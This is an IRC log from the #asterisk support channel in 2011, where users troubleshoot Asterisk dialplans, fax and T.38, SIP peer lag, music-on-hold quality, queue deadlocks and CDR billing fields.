| 10:32.07 | *** join/#asterisk irroot (~irroot@196-215-124-168.dynamic.isadsl.co.za) |
| 10:38.14 | *** join/#asterisk donnib (~donnib@213.237.179.10) |
| 10:38.45 | donnib | is it true that one cannot get the CALLERID before one does an Answer in a dialplan ? |
| 10:39.37 | schmidts | donnib nope thats not true or generally not true ;) there is some kind of isdn stuff which transport the callerid after an answer but IMHO this is not very widespread |
| 10:41.45 | donnib | schmidts: so if i have this dialplan http://pastebin.com/3xWTqM6T i can just go with only line 4 ?` |
| 10:43.07 | schmidts | donnib normally yes but you can test it easy with a Noop or Verbose command like this: exten => s,n,Verbose(Incoming Call from ${CALLERID(all)}) |
| 10:43.37 | donnib | schmidts: thx, i will try that |
| 10:43.44 | schmidts | your welcome |
| 10:43.48 | donnib | maybei should just say what i want to accomplish |
| 10:44.52 | donnib | i want to send an message when i get an incoming call so i wanted to create a extension let's say 777 so when somebody calls i call an group where i have that extension included. in the custom context for the extension i want to send an message but i don't want to pick up the call |
| 10:45.01 | donnib | does that make sense :) ? |
| 10:45.25 | schmidts | donnib which version do you use cause there are much better ways to do this ;) |
| 10:45.47 | donnib | i am using 1.8.5.0 |
| 10:46.13 | schmidts | what message do you want to send? something like a mail or a sip text message? |
| 10:46.23 | donnib | i should mention that i use Freepbx :) |
| 10:46.29 | donnib | it's a Push message to Apple server |
| 10:46.30 | schmidts | aaaaaahhhhhhh |
| 10:46.32 | schmidts | :D |
| 10:46.35 | schmidts | ah ok |
| 10:46.40 | donnib | so it is a message to an iPhone |
| 10:46.47 | donnib | that i have an incoming call |
| 10:47.22 | schmidts | just do it like this: |
| 10:47.34 | schmidts | exten => xxx,1,Noop(incoming call) |
| 10:47.44 | schmidts | same => n,Agi(xzy.....)( |
| 10:47.49 | enoch | ok now i can call but i can't recieve... i've set up my inbound roule and the ZAP DID too what i miss? |
| 10:47.51 | schmidts | same => n,Dial(SIP/123) |
| 10:48.10 | enoch | it says: "the number you have diled is not in service" |
| 10:48.16 | schmidts | sorry my fault, you need a Deadagi not a normal one |
| 10:49.01 | schmidts | forget my last sentence, agi itself should be fine ;) |
| 10:49.13 | schmidts | i dont use any agi stuff so i dont know this ;) |
| 10:49.48 | donnib | so what is different in the case u describe compared to mine ? |
| 10:50.23 | schmidts | you can start an external programm and the callflow will just go ahead after this, so you dont need an exten for it |
| 10:51.29 | donnib | not sure i follow u |
| 10:51.34 | donnib | sorry |
| 10:52.00 | schmidts | why do you want to have your own extension for this? |
| 10:52.42 | donnib | i don't but that was the way i thought i could do it because i have different incoming routes from different trunks and i want them to send the same message. |
| 10:53.04 | schmidts | then take a look at gosub or macro |
| 10:53.15 | donnib | your soultion is to change the dialplan that is there now and add a line which sends the message. is that what u are saying ? |
| 10:53.23 | schmidts | yes ;) |
| 10:53.55 | donnib | yeah and i want to keep it separete. i could make an custom context and goto that from all dialplans |
| 10:54.27 | schmidts | or something like this ;) |
| 11:09.58 | *** join/#asterisk devil_evoxxx (~d3v1l@87.13.67.31) |
| 11:13.41 | *** join/#asterisk qakhan (~qakhan@182.185.243.63) |
| 11:14.09 | *** join/#asterisk irroot (~irroot@196-215-124-168.dynamic.isadsl.co.za) |
| 11:14.49 | qakhan | hi all |
| 11:15.10 | schmidts | hi |
| 11:16.06 | qakhan | is there any possibilty in asterisk, can i setup shared company directory with 2 asterisk servers? |
| 11:18.06 | schmidts | qakhan take a look at DUNDI this could be what you want |
| 11:18.51 | qakhan | can u give me an overview of DUNDI? |
| 11:22.40 | jkroon | qakhan, dundi uses a peering mechanism to find routes to numbers. |
| 11:22.43 | jkroon | pretty impressive. |
| 11:22.58 | jkroon | can be used in interesting ways to distribute switches. |
| 11:23.40 | jkroon | for mapping names/numbers i would suggest possibly rather looking at something like ldap though. |
| 11:24.30 | qakhan | i have 2 severs, 1st in NY 2nd in WDC |
| 11:25.18 | qakhan | NY server has T1 line, when some one call in NY server and press * for company's directory |
| 11:26.24 | qakhan | Server should accecpt all users name in NY office as well as WDC office user's name |
| 11:27.57 | jkroon | ast realtime. |
| 11:28.42 | *** join/#asterisk hehol (~hehol@2001:1438:1009:200:cb:75ea:9af6:3e16) |
| 11:29.54 | devil_evoxxx | hi all :) I'm looking for t.38 fax in asterisk 1.8, i'm was thinking to use res_fax for receiving and sending to e-mail the incoming fax. Is there some way to make tone detection for fax? |
| 11:31.50 | *** join/#asterisk kaldemar (~kaldemar@unaffiliated/kaldemar) |
| 11:32.10 | jkroon | devil_evoxxx, receivefax/sendfax? |
| 11:32.34 | devil_evoxxx | jkroon: yes |
| 11:33.50 | devil_evoxxx | but for detect if is a call or a fax? |
| 11:36.22 | *** join/#asterisk rgsteele (~rgsteele@apo.aweber.com) |
| 11:37.19 | jkroon | devil_evoxxx, the person you want to speak with is irroot |
| 11:38.03 | *** join/#asterisk scubes13 (~scubes13@cpe-024-088-120-157.sc.res.rr.com) |
| 11:38.59 | devil_evoxxx | thankyou jkron :) |
| 11:43.27 | schmidts | devil_evoxx and the version you want to use is 10 not 1.8 cause this fax detect and T.38 stuff is in there |
| 11:43.38 | jkroon | or will be :) |
| 11:44.18 | schmidts | afaik is it allready in there |
| 11:44.38 | *** join/#asterisk quintana (~sylvain@aghnar.doowan.net) |
| 11:45.56 | devil_evoxxx | schmidts: i was trying something like this http://pastebin.com/6hsrEh3v, but Wait(6) is too long |
| 11:48.54 | devil_evoxxx | ast 1.8 can not detect fax? :( |
| 11:49.34 | *** join/#asterisk madduck (~madduck@debian/developer/madduck) |
| 11:50.27 | madduck | has anyone encountered cases where calls from an external sip provider, proxied by asterisk (no reinvite) to a handset are terminated after pretty much exactly 14:45 minutes? |
| 11:51.01 | madduck | I am going to try to narrow this down (which isn't easy at all), but so far it seems that it only happens on calls coming from sipgate.de to my asterisk, not if I use sipgate.de for outgoing calls. |
| 11:51.05 | madduck | weird, eh? |
| 11:53.32 | devil_evoxxx | are you sure that your provider have something like a limit |
| 11:53.49 | madduck | for incoming calls? |
| 11:53.56 | madduck | anyway, this is rather new, didn't use to happen |
| 11:54.33 | devil_evoxxx | i'had same problem in italy..the provider terminate every call after 15 minutes |
| 11:54.41 | *** join/#asterisk billmania (~bill@38.98.130.98) |
| 11:54.41 | wdoekes2 | madduck: Session-Expires and reinvite stuff? |
| 11:54.45 | devil_evoxxx | incoming and outgoing.. |
| 11:54.53 | *** part/#asterisk billmania (~bill@38.98.130.98) |
| 11:54.54 | madduck | devil_evoxxx: works outgoing though |
| 11:55.01 | madduck | wdoekes2: now sure what you mean… |
| 11:55.23 | devil_evoxxx | but he say that is a "security reason" for append sip channels |
| 11:55.43 | devil_evoxxx | and ..it not use rtpholditemout and rtptimeout |
| 11:55.51 | devil_evoxxx | ..and next i've changed provider.. |
| 11:55.55 | wdoekes2 | do a sip debug for a call. my guess is that a re-invite takes place after 14:45 seconds, which doesn't get handled properly |
| 11:57.22 | madduck | wdoekes2: the handset is behind NAT and I set directmedia = nonat |
| 11:57.26 | madduck | so there should not be a reinvite |
| 11:58.02 | wdoekes2 | not a reinvite for a new audio path |
| 11:58.07 | wdoekes2 | but one to keep the session alive |
| 11:58.28 | wdoekes2 | check the Session-Expires headers in the invite/200 packets |
| 12:02.52 | madduck | wdoekes2: I only see such a header in the Trying and Ringing packets: |
| 12:02.53 | madduck | Session-Expires: 1800;refresher=uas |
| 12:02.58 | madduck | that is 30 minutes, not 14:45 |
| 12:03.18 | wdoekes2 | ok.. and which do packets arrive at 14:45? |
| 12:03.20 | *** part/#asterisk donnib (~donnib@213.237.179.10) |
| 12:03.27 | wdoekes2 | s/do packets/packets do |
| 12:04.27 | madduck | i will have to check when I receive the next call |
| 12:06.18 | *** join/#asterisk anonymouz666 (~anonymouz@187-28-37-118.poolip.RJO.embratel.net.br) |
| 12:11.32 | madduck | i wish sip debugging would log timestamps! |
| 12:11.49 | madduck | ah, it does, except on the console: |
| 12:11.49 | madduck | [Sep 12 14:11:37] VERBOSE[19011] chan_sip.c: |
| 12:12.19 | madduck | now waits for call |
| 12:13.56 | anonymouz666 | irroot: ping |
| 12:14.10 | irroot | yo |
| 12:14.14 | *** join/#asterisk Dovid (Dovid@office.mypbxmanager.net) |
| 12:14.23 | Dovid | hi. is there any way to get the codec used on a call ? |
| 12:14.34 | anonymouz666 | irroot: could you please explain the patch? I am very confused right now |
| 12:14.38 | anonymouz666 | app_queue |
| 12:14.47 | anonymouz666 | you put the lock, remove the lock |
| 12:14.55 | madduck | Dovid: sip show channels |
| 12:14.59 | irroot | bad hair day :P |
| 12:15.05 | madduck | or rtp show channels |
| 12:15.08 | madduck | or core show channels |
| 12:15.11 | irroot | the lock is handled in ao2_xxxx |
| 12:15.19 | irroot | there is no need to lock it in app_queues |
| 12:15.23 | anonymouz666 | irroot: I understood |
| 12:15.26 | anonymouz666 | but |
| 12:15.39 | anonymouz666 | what you send to reviewboard there's any diff to the original code? |
| 12:16.20 | irroot | the problem is actually the holding of a chan lock while queues is locked |
| 12:16.31 | irroot | i went through the code more carefully and learnt more about ao2 |
| 12:16.40 | anonymouz666 | irroot: that happens with normal SIP/ members or Local/ members? or just when masquerade is involved? |
| 12:17.11 | irroot | anonymouz666 there are now no locks/unlocks in app_queue of queues container |
| 12:17.28 | schmidts | not a single one? ouch |
| 12:17.34 | anonymouz666 | irroot: sorry to ask you many questions, because I think that this problem is happening right now |
| 12:17.58 | irroot | schmidts its fine as ao2_find / iterate and friends lock it |
| 12:18.00 | anonymouz666 | irroot: the last patch is attached to the jira issue? |
| 12:18.23 | irroot | the latest is on rb1402 |
| 12:18.25 | schmidts | ah ok i see ;) |
| 12:19.24 | mrw4 | Hi, I'm looking for some information on implementing call tokens in an IAX2 client application, I have read the IAX2 security PDF but I'm wondering if there is any sample code or mor information available? |
| 12:19.47 | irroot | schmidts there is a dead lock when a channel is locked in try_calling with the queues container held this will be on masq/transfer as the container is locked when its needed there is no need to lock it |
| 12:20.21 | anonymouz666 | irroot: masq/transfer is done only on res_features, right? |
| 12:20.46 | anonymouz666 | so just by the fact we are using Local/ members are a totally different stuff |
| 12:20.57 | schmidts | irroot yes that was one thing we have changed lately |
| 12:21.01 | irroot | not always it can be done in sip for example with a refer |
| 12:21.30 | schmidts | anonymouz666 i am not sure if its really something different cause the masquerade will be the same, even with local channels |
| 12:22.02 | anonymouz666 | irroot: but in this case no members do transfers |
| 12:22.15 | anonymouz666 | when app_queue deadlocks, it stops to delivery calls, right? |
| 12:22.36 | anonymouz666 | the sip channels are getting stuck, so I am guess that this is different issue |
| 12:22.38 | irroot | "core show locks" will help see if its a deadloc |
| 12:22.50 | anonymouz666 | no debug mode, in 300 calls :( |
| 12:23.07 | irroot | yeah i know |
| 12:23.20 | irroot | well you can unload the module ?? |
| 12:23.31 | irroot | "core module unload app_queue.so" |
| 12:23.36 | irroot | and reload it |
| 12:23.55 | irroot | chances are if it reloads fine its not app_qurur |
| 12:24.09 | irroot | s/qurrur/queue/ |
| 12:35.50 | *** join/#asterisk ocx (c27e0e65@gateway/web/freenode/ip.194.126.14.101) |
| 12:36.28 | ocx | hello, can asterisk be used as an smsc gateway if connected to a mobile FXO line for example |
| 12:36.30 | ocx | ? |
| 12:37.31 | ocx | the purpose is to send sms to gsm phones |
| 12:40.01 | *** join/#asterisk x86 (x86@i.am.leet.org) |
| 12:41.01 | *** join/#asterisk corretico (~luis@201.201.44.82) |
| 12:43.46 | *** join/#asterisk wasanzy (~emmanuel@41.79.84.100) |
| 12:47.48 | wasanzy | does asterisk support: Outbound dialers to make calls from an application? |
| 12:48.22 | *** join/#asterisk hron85 (~hron@hq.ezit.hu) |
| 12:48.51 | hron85 | Hi! How can i reset extension hint? One extension stuck in InUse state... :s |
| 12:48.54 | wasanzy | or do I need a third party Outbound dialers to interface with asterisk before I can make calls from an application? |
| 12:51.14 | wasanzy | any help? |
| 12:54.03 | *** join/#asterisk chuckf (~chuckf@ubuntu/member/chuckf) |
| 12:54.21 | wasanzy | guys any one to advice on above question? |
| 12:54.27 | *** join/#asterisk enoch (~enoch@unaffiliated/enoch) |
| 12:54.32 | enoch | hi guys |
| 12:54.53 | enoch | is there an italian translation for the asterisk's audio files? |
| 12:55.19 | *** join/#asterisk DrDigital (~mmurphy@gallery/DrDigital) |
| 12:59.09 | schmidts | wasanzy take a look at call files or AMI |
| 13:00.14 | *** join/#asterisk coppice (~chatzilla@116.92.31.241) |
| 13:00.44 | kaldemar | wasanzy: originate is the keyword for what you want. |
| 13:01.30 | *** join/#asterisk gerhard7 (~gerhard7@82-171-103-215.ip.telfort.nl) |
| 13:01.54 | wasanzy | Kaldemar? ok, so can it be configured in asterisk or I need a third party application? |
| 13:01.55 | *** join/#asterisk mjordan (~mjordan@nat/digium/x-eknenhabzhuvpeiq) |
| 13:03.29 | kaldemar | wasanzy: there is nothing to configure. your application can communicate with asterisk directly. |
| 13:04.09 | wasanzy | ok thank you. |
| 13:04.34 | otwieracz | Hello. |
| 13:05.04 | otwieracz | Can I define contacts list for clients in Asterisk |
| 13:05.05 | otwieracz | ? |
| 13:05.13 | *** join/#asterisk serafie (~erin@nat/digium/x-mhevgqczoxscuxdo) |
| 13:05.15 | otwieracz | To see it, for example, in Ekiga. |
| 13:07.53 | kaldemar | otwieracz: no. |
| 13:15.58 | *** join/#asterisk Naikrovek (~mbluth@unaffiliated/naikrovek) |
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| 13:29.26 | *** mode/#asterisk [+o malcolmd] by ChanServ |
| 13:34.58 | *** part/#asterisk turtlefence (~turtlefen@c58-111-144-182.thorn2.nsw.optusnet.com.au) |
| 13:36.54 | ocx | hello, can asterisk be used as an smsc gateway to GSM if connected to a GSM FXO line for example |
| 13:37.37 | jkroon | t.38 sucks. |
| 13:37.47 | jkroon | why oh why must faxing be such a struggle. |
| 13:38.32 | coppice | it isn't. its works wonderfully well on the PSTN |
| 13:38.42 | jkroon | coppice, that's my point. |
| 13:38.48 | jkroon | what do you do if you don't have pstn? |
| 13:39.13 | coppice | well, most things that suck in VoIP work just fine in the PSTN |
| 13:39.20 | jkroon | :p |
| 13:39.28 | jkroon | thanks, you've been a great help :p |
| 13:40.14 | WIMPy | That's the way it is. Nothing really works, but it's cool, man. |
| 13:41.40 | jkroon | you clearly don't have my clients ... |
| 13:41.41 | jkroon | can i have some of yours? i'll give this one to you for free |
| 13:42.45 | WIMPy | Oh, and roumors say it's cheaper. |
| 13:43.06 | jkroon | those are rumours yet. |
| 13:43.09 | jkroon | *yes |
| 13:43.14 | WIMPy | I'd suggest to change the batteries of your calculator. |
| 13:43.44 | coppice | bandwidth is really really cheap these days, and can you tell me how to get a bit rate lower than G.729? |
| 13:43.49 | jkroon | other than for fax though I reckon it is better. |
| 13:43.49 | Dovid | hi. is there any way to get the codec used on a call by looking at a varible? |
| 13:44.35 | jkroon | Dovid, CHANNEL(audionativeformat) |
| 13:45.10 | WIMPy | IP bandwidth is only cheap in very small amounts, i.e. ADSL. |
| 13:45.28 | jkroon | WIMPy, that you're allowed to say again. |
| 13:46.15 | coppice | 1G symmetric is cheap too....... until you want it end to end |
| 13:46.22 | WIMPy | Or in sedicated facilities, off course. |
| 13:46.38 | *** join/#asterisk asterisk-Tester (~RAMYT@210.5.215.40) |
| 13:49.39 | *** join/#asterisk wesphillips (~wphill04@192.160.117.138) |
| 13:49.42 | *** part/#asterisk wesphillips (~wphill04@192.160.117.138) |
| 13:50.03 | *** join/#asterisk ijpalmer (~IceChat7@host81-137-172-233.in-addr.btopenworld.com) |
| 13:50.03 | jkroon | coppice, bandwidth is in my experience NOT cheap, except if you're being provided a service that is so badly oversubscribed it's close to useless. |
| 13:50.12 | jkroon | but I've also been told: This is Africa, get used to it. |
| 13:50.34 | ijpalmer | Hi all, can anyone tell me if it's possible to place one call into 2 different queues |
| 13:50.50 | coppice | I think that's what I implied. The 1G symmetric I get for about $25 a month doesn't extend all that far |
| 13:51.17 | jkroon | ijpalmer, Dial(Local/s@context&Local/s@otherqcontext) |
| 13:51.21 | WIMPy | jkroon: It's the same in Europe. PSTN bandwidth is much cheaper than IP bandwidth. |
| 13:51.53 | WIMPy | And PSTN bandwidth is guaranteed. |
| 13:52.00 | jkroon | ok well, we have areas where there is no pstn, and getting some half-assed wireless isp to carry IP bandwidth is your only option. |
| 13:52.31 | jkroon | and at one of these WISPs I have a client that needs a Fax machine, and email2fax is not an option for some reason that I don't understand. |
| 13:52.41 | WIMPy | Sounds like Ireland. |
| 13:52.52 | jkroon | hartbeespoortdam actually :p |
| 13:54.03 | ijpalmer | jkroon: Thanks for your response. i'm using queue() not dial, I have tried Queue(queue1&Queue2) |
| 13:54.49 | jkroon | ijpalmer, yes, create a context with this [queues] exten => 1,1,Queue(queue1); exten => 2,1,Queue(queue2) |
| 13:55.07 | jkroon | then send the call into Dial(Local/1@queues&Local/2@queues,m) |
| 13:55.30 | ijpalmer | jkroon: ok Thanks, I'll give it a try |
| 13:57.36 | zamba | anyone got an example of meetme conferencing with different admins and some nice features? i'm looking for a way to sudo into admin mode or even dialing a separate number, and then have access to muting/increasing/decreasing volume of individual members of the conference.. |
| 14:01.14 | *** join/#asterisk putnopvut (~putnopvut@asterisk/master-of-queues/mmichelson) |
| 14:01.14 | *** mode/#asterisk [+o putnopvut] by ChanServ |
| 14:05.07 | *** join/#asterisk sekil (~sekil@78.24.104.73) |
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| 14:18.16 | *** join/#asterisk whtsup (~hello@WimaxUser38143-63.wateen.net) |
| 14:18.36 | whtsup | any one for help ? |
| 14:20.13 | *** join/#asterisk Tech_Travis (~Travis_El@cpe-76-168-191-127.socal.res.rr.com) |
| 14:21.25 | schmidts | ~ask |
| 14:21.25 | infobot | Questions in the channel should be specific, informative, complete, concise, and on-topic. Don't ask if you can ask a question first. Don't ask if a person is there; just ask what you intended to ask them. Better questions more frequently yield better answers. We are all here voluntarily or against our will. |
| 14:23.38 | *** join/#asterisk floh79 (~quassel@62.53.224.36) |
| 14:25.27 | whtsup | when i do sip show peerts |
| 14:25.28 | whtsup | peers |
| 14:25.45 | whtsup | 193.104.107.1 193.104.107.1 N 5060 LAGGED (3249 ms) |
| 14:25.50 | whtsup | showing lagged |
| 14:26.01 | *** join/#asterisk irroot (~irroot@196-215-124-168.dynamic.isadsl.co.za) |
| 14:26.02 | whtsup | but when i normally ping this ip ping is on 5ms delay |
| 14:26.05 | whtsup | constant |
| 14:26.23 | whtsup | where is the problem i m not getting this |
| 14:26.29 | schmidts | how many peers do you have on this system? |
| 14:26.40 | whtsup | around 12 |
| 14:27.17 | schmidts | ok thats not much, only this one makes problems or all of them? |
| 14:27.20 | *** part/#asterisk sekil (~sekil@78.24.104.73) |
| 14:27.36 | whtsup | only 2 peers r making this problem |
| 14:27.39 | whtsup | others fyne |
| 14:28.18 | schmidts | what kind of peers this are? |
| 14:28.35 | schmidts | sip phones, other asterisk ...? ;) |
| 14:28.37 | whtsup | this is my carrier ip |
| 14:28.47 | jkroon | remote off-site? |
| 14:29.00 | whtsup | sending traffic from this ip |
| 14:29.13 | whtsup | using some switch |
| 14:29.55 | schmidts | ah ok, cause asterisk sends an option packet and measure how long until it gets an answer, and some systems answers with very low priority to options messages, this could be the problem of this lag |
| 14:30.11 | schmidts | does dialing this peers take also very long or is it fast? |
| 14:30.29 | whtsup | dialing is okay |
| 14:30.44 | whtsup | means |
| 14:31.07 | whtsup | average call connecting ratio i m getting is 22% |
| 14:31.22 | jkroon | that feels low. |
| 14:31.53 | whtsup | yes |
| 14:32.04 | schmidts | whtsup how do you ping this systems? |
| 14:32.05 | whtsup | but when i ping normally delay is very low |
| 14:32.18 | whtsup | ping ipadress |
| 14:32.18 | jkroon | ok, any ideas why on a LAN fax without T.38 would work, and with T.38 it would fail? |
| 14:32.22 | schmidts | please try this: ping -c1000 -i0.02 -pff -Q0x86 -s1280 |
| 14:32.33 | irroot | im off home |
| 14:32.37 | schmidts | jkroon remote side doesnt support T38 ? |
| 14:32.45 | jkroon | how can I make sure that I match the settings on the ast side to that of the remote end. |
| 14:32.49 | jkroon | it claims it does. |
| 14:32.49 | schmidts | irroot do you have a filter for t.38? :D |
| 14:32.56 | jkroon | it even initiates the kick-over? |
| 14:32.59 | irroot | lol |
| 14:33.05 | jkroon | irroot, :) |
| 14:33.10 | jkroon | just the person that might be able to assist :p |
| 14:33.13 | irroot | no its jkroon i filter :P |
| 14:33.18 | jkroon | rofl! |
| 14:33.21 | schmidts | ok i see :D |
| 14:33.27 | jkroon | i'm that popular? |
| 14:33.35 | irroot | lift here |
| 14:33.43 | jkroon | kk, enjoy |
| 14:33.47 | irroot | ping me l8r if i on |
| 14:34.03 | whtsup | ping is constant |
| 14:34.05 | whtsup | 5ms |
| 14:34.16 | whtsup | 1000 packets transmitted, 1000 received, 0% packet loss, time 21573ms |
| 14:34.17 | whtsup | rtt min/avg/max/mdev = 0.000/6.092/37.350/5.156 ms, pipe 2 |
| 14:34.21 | jkroon | irroot, i'm off to the squash courts in about 45 ... |
| 14:34.34 | schmidts | whtsup looks ok |
| 14:34.53 | whtsup | but y asterisk showing lagged |
| 14:35.35 | *** join/#asterisk lcat (~lcat@187.45.254.107) |
| 14:35.58 | whtsup | this will make call quality worst if asterisk showing lagged ? |
| 14:36.51 | schmidts | no this lagged is only for sip messages not for rtp |
| 14:37.04 | whtsup | ok |
| 14:38.13 | *** join/#asterisk brdude (~brdude@c-24-5-194-184.hsd1.ca.comcast.net) |
| 14:39.29 | zamba | how can i get better quality on the music on hold that's played from an icecast source? |
| 14:39.44 | zamba | i'm currently using the following command: /usr/bin/wget -q -O - http://localhost:8001/128 | /usr/bin/madplay -Q -z -o raw:- --mono -R 8000 -a -12 - |
| 14:39.49 | zamba | and it sounds terrible |
| 14:40.27 | p3nguin | staretji: yes? |
| 14:43.50 | p3nguin | zamba: Just use mpg123. |
| 14:45.13 | zamba | p3nguin: have never gotten that to work |
| 14:45.20 | zamba | p3nguin: got an example? |
| 14:45.34 | malcolmd | also depends on what codec the phone that's listening to the MoH is using...g.729 is a terrible codec for transmitting music |
| 14:46.06 | zamba | alaw is the one i use |
| 14:46.44 | coppice | terrible is a relative thing. at least many of many relatives are terrible |
| 14:46.52 | p3nguin | zamba: I run it from a script. musiconhold.conf calls the script, and the script runs /usr/bin/mpg123 -q -b 2048 --preload 0.2 -r 8000 -f 4096 -m -s http://mystream |
| 14:47.10 | zamba | p3nguin: and that sounds fine? |
| 14:47.17 | zamba | my stream lags a lot as well |
| 14:47.20 | p3nguin | I wouldn't use it if it didn't work. |
| 14:48.04 | *** join/#asterisk aidinb (~aidin@unaffiliated/aidinb) |
| 14:48.21 | *** join/#asterisk nighty^ (~nighty@TOROON12-1279662182.sdsl.bell.ca) |
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| 14:49.28 | zamba | if i dial pure sip it's terrible.. by the true meaning of the word.. it lags.. i hear half a second of music and then 2-3 seconds of silence |
| 14:49.46 | p3nguin | But like malcolmd mentioned, if I use g.729, any hold music doesn't sound as good as it should. |
| 14:50.15 | zamba | alaw is the same as g.729? |
| 14:50.18 | p3nguin | no |
| 14:50.19 | malcolmd | coppice: indeed |
| 14:50.28 | p3nguin | alaw is g.711a |
| 14:50.28 | zamba | p3nguin: well, i'm not using g.729 then |
| 14:50.40 | zamba | and it still sounds crappy |
| 14:50.42 | p3nguin | If you set up an moh extension, does it still sound bad? |
| 14:50.52 | zamba | what do you mean by a moh extension? |
| 14:51.29 | p3nguin | Like extension 1000 runs musiconhold and nothing else. Then you pick up your phone and call 1000. |
| 14:52.59 | zamba | ah, ok |
| 14:53.05 | p3nguin | If a phone on the same network as asterisk still have poor moh quality, it might not be the music that is the problem. |
| 14:54.51 | zamba | now i'm seeing this all of a sudden: [2011-09-12 16:54:13] WARNING[11678]: pbx.c:7465 add_pri_lockopt: Unable to register extension '_X.', priority 1 in 'meloyfs_ut', already in use |
| 14:55.12 | Kobaz | you have more than one of them |
| 14:55.15 | p3nguin | Then I guess you're trying to duplicate that extension and priority. |
| 14:57.02 | *** join/#asterisk KavanS (~KavanS@LINBIT/KavanS) |
| 14:57.23 | zamba | same problem if i create only a moh extension |
| 14:58.09 | zamba | too low latency? ;) i have 0.665 ms to the asterisk server |
| 14:58.16 | zamba | but it's still over wan |
| 14:59.03 | p3nguin | I don't think you can have too low of latency. |
| 15:00.07 | *** join/#asterisk drift- (ae3001a4@gateway/web/freenode/ip.174.48.1.164) |
| 15:01.33 | mrw4 | Hi, I'm looking for some information on implementing call tokens in an IAX2 client application, I have read the IAX2 security PDF but I'm wondering if there is any sample code or mor information available? |
| 15:02.55 | *** join/#asterisk navaismo (~navaismo@fixed-203-96-202.iusacell.net) |
| 15:03.52 | *** join/#asterisk lucasb (~lucasb@S0106000c42710923.ok.shawcable.net) |
| 15:04.16 | WIMPy | mrw4: libiax? |
| 15:04.45 | WIMPy | http://downloads.asterisk.org/pub/telephony/libiax/ |
| 15:05.43 | kaldemar | no calltoken support there |
| 15:07.18 | mrw4 | thanks WIMPy, but those files look rather old |
| 15:07.59 | WIMPy | So they need some care? |
| 15:08.03 | mrw4 | I have looked through the iax2 part of the Asterisk source, but was looking for some examples of implementing for a client app |
| 15:08.54 | Kobaz | mrw4: there are some open source linux iax2 clients you can check out |
| 15:09.06 | *** join/#asterisk scubes13 (~scubes13@rrcs-70-60-211-252.midsouth.biz.rr.com) |
| 15:09.15 | mrw4 | do you know of any with calltoken support? |
| 15:09.28 | Kobaz | not offhand |
| 15:09.39 | Kobaz | http://www.voip-info.org/wiki/view/Asterisk+IAX+clients |
| 15:10.51 | mrw4 | thanks for the info, I'll have a look through those. |
| 15:16.41 | *** join/#asterisk donnib (~donnib@0x555281d0.adsl.cybercity.dk) |
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| 15:33.11 | itguru | I'm trying to fix a broken asterisk install -- It fails to start up asking for the asterisk.ctl file exists, I can see it being created on the server. I'd like some assistance in tracking down the problem please |
| 15:37.10 | navaismo | what show the last 20 lines when you star asterisk with asterisk -vvvvvvvvcg |
| 15:38.03 | *** part/#asterisk asterisk-Tester (~RAMYT@210.5.215.40) |
| 15:38.22 | *** part/#asterisk fabix (~fabix@ombos.raceme.org) |
| 15:40.07 | *** join/#asterisk kannan (kann@14.99.57.12) |
| 15:42.07 | kannan | hello, in Asterisk 1.4.39.1 ; Will i be able to get the Answeredtime and full details in CDR (i use MySQL CDRs with userfield also) inside a DeadAGI priority (the calling party has already hang up) |
| 15:44.14 | *** join/#asterisk gxdssoft (~gxdssoft@201.230.220.101) |
| 15:44.16 | kannan | also if i use M(macro-mymacro) option inside a Dial application , (i want to rset the CDR on answer, so as to be able to bill only from there onwards), will the macro exit back to the Dialplan as auto fallthrough , or do I have to set the MACRO_RESULT to use GOTO |
| 15:45.05 | itguru | navaismo: I'm about to find out :) |
| 15:47.23 | kannan | when I already have a asterisk running , can I unpack and build asterisk-addons , or is it needed to stop asterisk and unload dahdi before then |
| 15:48.03 | itguru | navaismo: I kid you not, starting asterisk via asterisk -vvvvvvvvcg and all systems are working!? I am very confused, but at the saem time happy! hehe |
| 15:48.55 | chazzam | itguru: permissions problems? |
| 15:49.25 | chazzam | kannan: you should be able to compile and install with it running, but have to restart the software to start using the newly installed version |
| 15:50.30 | *** join/#asterisk brdude (~brdude@12.155.183.30) |
| 15:52.13 | *** join/#asterisk malcolmd (~malcolmd@pdpc/sponsor/digium/malcolmd) |
| 15:52.13 | *** mode/#asterisk [+o malcolmd] by ChanServ |
| 15:53.40 | *** join/#asterisk moy (~moy@173.239.155.74) |
| 15:56.12 | *** join/#asterisk Manu18 (~megairc@lau18-1-82-246-196-145.fbx.proxad.net) |
| 15:57.16 | Manu18 | Bonjour |
| 15:57.25 | Katty | mourning |
| 16:00.59 | *** join/#asterisk DrDigital (~mmurphy@gallery/DrDigital) |
| 16:03.45 | De_Mon | We've got some Cisco phones we want to connect to asterisk, anyone had success using any of these models with asterisk that can help us figure out a working config? 7965, 7945, 7911 |
| 16:05.04 | navaismo | i guees you need to dowload the sip firmware to the phones if they support it |
| 16:05.35 | De_Mon | we think there is something wrong with the firmware and are looking for someone that's actually gotten it working |
| 16:06.07 | itguru | chazzam: I guess I'm going to have to try and figure out what the permission issues are |
| 16:08.13 | chazzam | De_Mon: have you tried multiple versions of asterisk as well? |
| 16:08.31 | chazzam | itguru: do your init scripts try to run Asterisk as a non-root user? |
| 16:08.34 | navaismo | I have some 7960 working with asterisk |
| 16:08.38 | kannan | chazzam, thanks |
| 16:08.56 | De_Mon | chazzam yeah, we have a 1.4 and a 1.6 system |
| 16:09.10 | De_Mon | ... or maybe it's 1.8 now I'm not sure |
| 16:09.35 | navaismo | the phones can register? |
| 16:10.00 | kannan | aby idea about the answeredtime , when we write from a DeadAGI is it the correct field for billing calculations? |
| 16:10.06 | De_Mon | no, they try but fail with a 401 unauthorized. which is why we're thinking its a firmware bug |
| 16:10.31 | De_Mon | that or a config issue, which someone with a working config could tell us pretty quickly |
| 16:12.14 | navaismo | can you see in the cli when asterisk reject them? normally asterisk says wrong password, not peer defined etc |
| 16:12.46 | kannan | what is the difference between billsecs, dialedtime and answered time in CDR? |
| 16:12.59 | kannan | which is correct for use in billing calculations? |
| 16:13.30 | De_Mon | yeah... where did I put that error |
| 16:13.46 | De_Mon | kannan billsecs is time actually spent talking |
| 16:13.49 | navaismo | this is my SIPDefault.cnf http://pastebin.com/e9WKyiZy |
| 16:13.52 | De_Mon | kannan thats what you typically bill for |
| 16:15.18 | kannan | De_Mon , thanks |
| 16:16.41 | navaismo | and this one for the phone http://pastebin.com/QRF3fxyQ |
| 16:17.49 | De_Mon | I get a [Sep 12 12:17:01] NOTICE[1236]: chan_sip.c:15642 handle_request_register: Registration from '"mike" <sip:mike@66.192.107.225>' failed for '220.76.205.97' - Wrong password |
| 16:18.10 | De_Mon | ahh... curse you copy and paste! |
| 16:18.40 | De_Mon | which phone/firmware are you using? |
